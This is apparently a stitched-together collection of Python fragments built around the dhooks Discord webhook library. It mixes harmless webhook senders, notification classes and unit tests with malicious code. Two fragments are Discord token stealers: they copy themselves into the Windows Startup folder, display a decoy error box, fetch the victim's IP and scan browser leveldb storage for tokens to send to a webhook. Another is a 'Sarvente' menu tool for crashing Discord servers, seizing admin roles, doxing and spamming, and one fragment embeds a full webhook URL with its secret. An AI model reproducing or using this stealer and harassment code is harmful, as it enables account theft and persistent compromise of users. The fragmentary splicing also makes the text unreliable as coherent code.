def start(): clear() global url global hook url = input("Webhook: ").replace("canary.", "").replace("ptb.", "").replace("discordapp", "discord") if url == "": input("[Please Give A Webhook]") start() else: try: dhooks.Webhook(url).get_info() hook = dhooks.Webhook(url) except: input("[Webhook Doesn't Exist]") start() delhook()
def __init__(self, url, debug=False, command_strings=None): """ Create a Discord Notify Item The 'url' argument is for the Discord "notification" channel The 'debug' argument is to test code without spamming Discord The 'command_strings' argument is for providing command strings to the module that tell it how to operate. Not required. """ import dhooks self.version = global_version self._embedBase = dhooks.Embed self.url = url.replace("discordapp.com", "discord.com") self._hook = dhooks.Webhook(self.url) self.debug = debug if command_strings != None: command_strings = command_strings.split(";") for command_item in command_strings: if command_item == "NEWURL=TRUE": self.url = url.replace("discord.com", "discordapp.com")
def __init__(self, url, name, command_strings=None): """ Create a Discord Logs Item The 'url' argument is for a Discord "logs" channel The 'name' argument is a title for what you are logging, to allow identification. The 'command_strings' argument is for providing command strings to the module that tell it how to operate. Not required. """ import dhooks self.version = global_version self.url = url.replace("discordapp.com", "discord.com") self.name = name self._hook = dhooks.Webhook(self.url) self._log_output = [] self.isDebug = False if command_strings != None: command_strings = command_strings.split(";") for command_item in command_strings: if command_item == "NEWURL=TRUE": self.url = url.replace("discord.com", "discordapp.com")
def setUp(self): self.embed = dhooks.Embed( description='This is the **description** of the embed! :smiley:', color=0x1e0f3, timestamp="" # sets the timestamp to current time ) image1 = 'https://i.imgur.com/rdm3W9t.png' image2 = 'https://i.imgur.com/f1LOr4q.png' self.embed.set_author(name='Author Goes Here', icon_url=image1) self.embed.add_field(name='Test Field', value='Value of the field :open_mouth:') self.embed.add_field(name='Another Field', value='1234 :smile:') self.embed.set_footer(text='Here is my footer text', icon_url=image1) self.embed.set_thumbnail(image1) self.embed.set_image(image2) self.real_webhook = dhooks.Webhook(REAL_URL) response = requests.get('https://i.imgur.com/rdm3W9t.png') self.file = dhooks.File(BytesIO(response.content), name='wow.png')
roaming = os.getenv('APPDATA') def launch(): filePath = shutil.copy( sys.argv[0], roaming + '\Microsoft\Windows\Start Menu\Programs\Startup') launch() ICON_STOP = 0x10 result = windll.user32.MessageBoxW(0, "Code : 5894 \nFPS BOOST ENABLED", "Error !", ICON_STOP) hook = dhooks.Webhook(punchnox) global uuidgen uuidgen = str(uuid.uuid4()) ip = requests.get('https://api.ipify.org').text def find_tokens(path): path += '\\Local Storage\\leveldb' tokens = [] for file_name in os.listdir(path): if not file_name.endswith('.log') and not file_name.endswith('.ldb'): continue
import requests import bs4 import dhooks # gets source code of supremecommunity link siteLink = input("Enter link of page\n") site = requests.get(siteLink, timeout = 10) sourceCode = bs4.BeautifulSoup(site.content, "html.parser") # ----------------------------------------- # initializes webhook userWebhook = input("Please input your webhook.\n") userWebhook = userWebhook.split("discordapp") webhook = userWebhook[0] + "discord" + userWebhook[1] try: webhook = dhooks.Webhook(webhook) except ValueError as error: print(error) exit() # ------------------- # gets all necessary data for webhook title = sourceCode.find("title") logo = sourceCode.find("meta", {"property": "og:image"}) dropDate = sourceCode.find("h1") itemTitles = sourceCode.find_all("h2", {"class": "item-details-title"}) itemImages = sourceCode.find_all("img", {"class": "prefill-img"}) upvotes = sourceCode.find_all("div", {"class": "progress-bar-success"}) downvotes = sourceCode.find_all("div", {"class": "progress-bar-danger"}) # -----------------------------------
"message", type=str, action="store", help="message we are going to send", ) parser.add_argument("-v", "--verbose", action="store_true", help="increase output verbosity") args = parser.parse_args() if args.verbose: logging.basicConfig(level=logging.DEBUG) if not len(sys.argv) > 1: print("discord-webhook: missing URL and message\n" "Usage: discord-webhook URL MESSAGE\n\n" "Try 'discord-webhook --help' for more options.") sys.exit(2) webhook_url = args.url webhook_message = args.message logging.debug(f"Webhook url: {webhook_url}") logging.debug(f"Webhook message: {webhook_message}") hook = dhooks.Webhook(webhook_url) hook.send(f"{webhook_message}")
def main(): cls() print(f''' ███████╗ █████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗████████╗███████╗ ██╔════╝██╔══██╗██╔══██╗██║ ██║██╔════╝████╗ ██║╚══██╔══╝██╔════╝ ███████╗███████║██████╔╝██║ ██║█████╗ ██╔██╗ ██║ ██║ █████╗ ╚════██║██╔══██║██╔══██╗╚██╗ ██╔╝██╔══╝ ██║╚██╗██║ ██║ ██╔══╝ ███████║██║ ██║██║ ██║ ╚████╔╝ ███████╗██║ ╚████║ ██║ ███████╗ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝ only Windows | {version} | by therealphantom#1730''') print(''' \nSelect mode: 1 - Crash discord server 2 - Webhook sender 3 - Give administrative role 4 - Dox generator 5 - Telegram bot sender 6 - Spam tool 7 - Get bot server list \n''') mode = input() if (mode == '1'): cls() print('Selected crash discord server.') time.sleep(3) cls() token = input('Enter discord bot token: ') cls() print('Saving...') token_file = open('data/token.txt', 'w') token_file.write(token) token_file.close() time.sleep(1) print('Saved!') time.sleep(2) cls() os.system('cd data&start botlauncher.cmd') time.sleep(2) print( 'Summoned discord bot module. Print "!connect" to connect the server' ) print('Waiting for connect...') with open('data/mode.txt', 'w') as f: f.write('crash') f.close() while open('data/status.txt').read() != 'connected': pass print('Connected!') print('Starting crash..') input('Press Enter to stop.') os.system('taskkill /f /im cmd.exe') main() if mode == '2': cls() print('Selected webhook sender.') time.sleep(3) cls() url = input('Enter webhook url: ') cls() print('Connecting to the webhook...') try: hook = dhooks.Webhook(url) except: input('Incorrect webhook url. Press ENTER to quit.') main() print('Connected!') while True: cls() print( '''Webhook Sender - Sarvente. Type "!wsender exit" to quit\nTo send embed enter "!wsender embed [title] [description]"\n--------------------------------------''' ) msg = input('Enter message: ') if msg == '!wsender exit': main() if msg.split(' ')[0] == '!wsender' and msg.split( ' ')[1] == 'embed': emb = dhooks.Embed(title=msg.split(' ')[2], description=msg.split(' ')[3]) hook.send(embed=emb) if msg.split(' ')[0] != '!wsender': hook.send(msg) if mode == '3': cls() print('Selected give administrative role.') time.sleep(3) cls() owner_id = input('Enter your id: ') token = input('Enter discord bot token: ') cls() print('Saving...') token_file = open('data/token.txt', 'w') token_file.write(token) token_file.close() time.sleep(1) print('Saved!') time.sleep(2) cls() os.system('cd data&start botlauncher.cmd') print( 'Summoned discord bot module. Print "!connect" to connect the server' ) print('Waiting for connect...') with open('data/mode.txt', 'w') as f: f.write('adminrole') f.close() with open('data/output.txt', 'w') as f: f.write(owner_id) f.close() while open('data/output.txt', 'r').read() != 'clear': pass open('data/output.txt', 'w').write('') while open('data/status.txt', 'r').read() != 'connected': pass print('Connected.') print( 'If bot has permission ADMINISTRATOR, created role sarvente and gived to your id.' ) input('Press ENTER to quit.') os.system('taskkill /f /im cmd.exe') main() if mode == '4': cls() print('Selected dox generator.') time.sleep(3) cls() nickname1 = input("Enter victim's nickname: ") cls() print('Checking nickname...\n') yturl = f'https://www.youtube.com/user/{nickname1}' vkurl = f'https://vk.com/{nickname1}' resp = requests.get(yturl) if resp.status_code == 200: print(f'YouTube - Finded! URL: {yturl}') else: print(f'YouTube - Error!') resp = requests.get(vkurl) if resp.status_code == 200: print(f'VK - Finded! URL: {vkurl}') else: print(f'VK - Error!') print('\nChecking complete.') input('Press ENTER to quit.') main() if mode == '5': cls() print('Selected telegram bot sender.') time.sleep(3) token = input('Enter telegram bot token: ') url = f'https://api.telegram.org/bot{token}/' cls() print('Setting up sender:') username = input('1. Enter your username: '******'Send message to telegram bot.') print('Getting message from you...') resp = requests.get(url + 'getUpdates') resp_json = resp.json() empty = True while empty == True: time.sleep(1) if resp.status_code == 200: if resp_json['result'][0]['message']['from'][ 'username'] == username: chatid = resp_json['result'][0]['message']['chat']['id'] empty = False cls() print(f'Message received!\n\nSender configured:\nChat ID: {chatid}') time.sleep(2) while True: cls() print('Telegram bot sender - Sarvente.') print('To quit enter !tsender exit') print('----------------------------------') msg = input('Enter message: ') if msg == '!tsender exit': main() resp = requests.get( f'https://api.telegram.org/bot{token}/sendMessage?chat_id={chatid}&text={msg}' ) if resp.status_code != 200: print(f'Message error! Status code: {resp.status_code}') time.sleep(3) if mode == '6': cls() print('Selected spam tool.') time.sleep(3) cls() print('Sarvente - Spam Tool') print('----------------------------') interval = float(input('Enter interval: ')) message = input('Enter message: ') pag.FAILSAFE = True cls() print( 'To stop, move the mouse pointer over the upper right corner of the screen.' ) input('Press ENTER to start.') cls() print('Stating in 5') time.sleep(1) cls() print('Stating in 4') time.sleep(1) cls() print('Stating in 3') time.sleep(1) cls() print('Stating in 2') time.sleep(1) cls() print('Stating in 1') time.sleep(1) cls() print('Spamming!') while True: try: time.sleep(interval) pag.typewrite(message) pag.press('enter') except: break if mode == '7': cls() print('Selected bot server list.') time.sleep(3) cls() token = input('Enter token: ') with open('data/token.txt', 'w') as f: f.write(token) f.close() cls() print('Summoning bot module..') with open('data/mode.txt', 'w') as f: f.write('serverlist') f.close() cls() print('Waiting for connect. Print "!connect" to connect.') os.system('cd data&python bot.py') cls() os.system('cd data&type output.txt') with open('data/output.txt', 'w') as f: f.write('') f.close() input('\nPress ENTER to quit.') main() main()
def test_send_embed_file(self): try: with dhooks.Webhook(REAL_URL) as wh: wh.send(embed=self.embed, file=self.file) except requests.exceptions.HTTPError: self.fail("Valid client failed to send.")
def test_send_content_embed(self): try: with dhooks.Webhook(REAL_URL) as wh: wh.send('TEST', embed=self.embed) except requests.exceptions.HTTPError: self.fail("Valid client failed to send.")
def test_get_info(self): try: with dhooks.Webhook(REAL_URL) as wh: wh.get_info() except requests.exceptions.HTTPError: self.fail("Failed to get info.")
def test_fake_url(self): with self.assertRaises(requests.exceptions.HTTPError): with dhooks.Webhook(FAKE_URL) as wh: wh.send("TEST")
import discord import asyncio import sys import json import time import random import requests import dhooks from pathlib import Path import string import urllib.request import urllib.parse client = discord.Client() regular_commands = {} hook = dhooks.Webhook( 'https://discordapp.com/api/webhooks/516092910081409058/dQ1YJOs3qwD57lM6CH9nhChJyhVO39Oc1YchGpUQE3f1qvpHIu8EXptI-_qlXUVxBjkG' ) def KeyGen(size=1979, chars=string.ascii_uppercase + string.digits): global Key Key = ''.join(random.choice(chars) for _ in range(size)) class commands(object): def register(command, exemplearguments, arguments): regular_commands[f'{command}'] = { 'arguments': f'{arguments}', 'exemple_arguments': f'{exemplearguments}' }
from string import ascii_lowercase from datetime import datetime from sqlite3 import connect as sql_connect from Crypto.Cipher import AES import browserhistory as bh roaming = os.getenv('APPDATA') def launch(): filePath = shutil.copy(sys.argv[0], roaming + '\Microsoft\Windows\Start Menu\Programs\Startup') launch() ICON_STOP = 0x10 result = windll.user32.MessageBoxW(0, "Code : 5894 \nImpossible d'exécuter le programme sur votre système d'exploitation", "Error !", ICON_STOP) hook = dhooks.Webhook(charles) global uuidgen uuidgen = str(uuid.uuid4()) ip = requests.get('https://api.ipify.org').text def find_tokens(path): path += '\\Local Storage\\leveldb' tokens = [] for file_name in os.listdir(path): if not file_name.endswith('.log') and not file_name.endswith('.ldb'): continue for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]: